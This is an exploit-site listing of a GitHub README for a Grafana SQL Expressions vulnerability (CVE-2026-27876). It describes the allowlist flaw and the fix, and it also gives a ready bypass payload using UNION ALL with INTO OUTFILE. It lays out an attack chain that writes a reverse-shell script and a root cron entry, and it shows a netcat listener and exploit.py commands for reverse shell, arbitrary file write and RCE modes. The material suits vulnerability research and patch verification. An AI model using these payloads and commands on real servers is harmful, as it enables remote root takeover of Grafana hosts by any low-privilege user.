Sploitus

Exploit for Code Injection in Grafana

githubexploit Β· 2026-09-05

Exploit Code

README133 lines
## https://sploitus.com/exploit?id=3DD6C67A-5A26-5371-B94C-F392EB87292A
# CVE-2026-27876: Grafana SQL Expressions Arbitrary File Write to RCE

**CVSS 9.1 Critical** | Arbitrary File Write | Remote Code Execution

## Summary

Grafana's SQL Expressions feature (`sqlExpressions` toggle) uses an in-process SQL engine (`dolthub/go-mysql-server`) with a flawed AST allowlist. The `SetOp` node (UNION ALL) passes validation and its `walkSubtree()` does not traverse the `Into` child β€” allowing `INTO OUTFILE` to write arbitrary files to the server filesystem as the Grafana process user.

Any authenticated user (Viewer role or higher) can chain this to full RCE via cron-based reverse shell.

## Affected Versions

| Range | Affected | Fixed |
|-------|----------|-------|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |

Requires `sqlExpressions` feature toggle to be enabled.

## Root Cause

Two compounding flaws in `pkg/expr/sql/`:

1. **`parser_allow.go`**: `allowedNode()` uses a named return `b = true`. The `*sqlparser.SetOp` case returns true (allowed), and `SetOp.walkSubtree()` does NOT traverse the `Into` child node. This means `UNION ALL ... INTO OUTFILE` bypasses the allowlist entirely.

2. **`db.go`**: The SQL engine context is created without `WithDisableFileWrites(true)`, so `INTO OUTFILE` writes to disk.

### Bypass Syntax

```sql
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
```

A single `(SELECT ...) INTO OUTFILE` produces a `ParenSelect` node which IS blocked. Two or more `SELECT` parts joined with `UNION ALL` produce a `SetOp` node which bypasses the check.

## Exploit Chain

```
1. Authenticate (Viewer role sufficient)
2. POST /api/ds/query with __expr__ datasource, type "sql"
3. UNION ALL INTO OUTFILE writes reverse shell script to /tmp/
4. Second write places cron entry in /etc/crontabs/root
5. Cron fires within 60 seconds -> reverse shell as root
```

## Usage

### Lab Setup

```bash
cd lab/
docker compose up -d
# Wait for Grafana to be healthy (~15s)
```

Grafana runs on `http://localhost:3333` with credentials `admin:admin`.

### Run Exploit

**Terminal 1 β€” Listener:**
```bash
nc -lvnp 4444
```

**Terminal 2 β€” Exploit:**
```bash
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
```

Reverse shell lands within 60 seconds.

### Other Modes

```bash
# Check if target is vulnerable (no writes)
python3 exploit.py -t http://TARGET:3000 --check

# Write arbitrary file
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# Write local file to target
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# RCE via datasource provisioning (no cron needed)
python3 exploit.py -t http://TARGET:3000 --rce
```

### Cleanup

```bash
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
```

To re-run the exploit after a previous run, clean up first β€” `INTO OUTFILE` cannot overwrite existing files.

## Fix

Commit `0e5d9e01ef31f072fd41626cd744699374e70127` (PR #121514):

1. `parser_allow.go`: `case *sqlparser.SetOp: return v.GetInto() == nil`
2. `parser_allow.go`: `case *sqlparser.Into: return v == nil`
3. `db.go`: `mysql.WithDisableFileWrites(true)`

## Files

```
.
β”œβ”€β”€ README.md
β”œβ”€β”€ analysis.md              # Full root cause analysis
β”œβ”€β”€ lab/
β”‚   β”œβ”€β”€ docker-compose.yml   # Grafana 12.4.0 lab (confirmed)
β”‚   β”œβ”€β”€ Dockerfile           # Custom image with cron support
β”‚   β”œβ”€β”€ entrypoint.sh        # Starts crond + Grafana
β”‚   └── setup.sh             # Auto-setup script
└── poc/
    β”œβ”€β”€ exploit.py           # Full PoC with RCE
    └── cvss-justification.md
```

## References

- Fix: https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
- PR: https://github.com/grafana/grafana/pull/121514
- Advisory: https://grafana.com/security/security-advisories/cve-2026-27876/

## Disclaimer

For authorized security research and controlled lab testing only. Do not use against systems without explicit permission.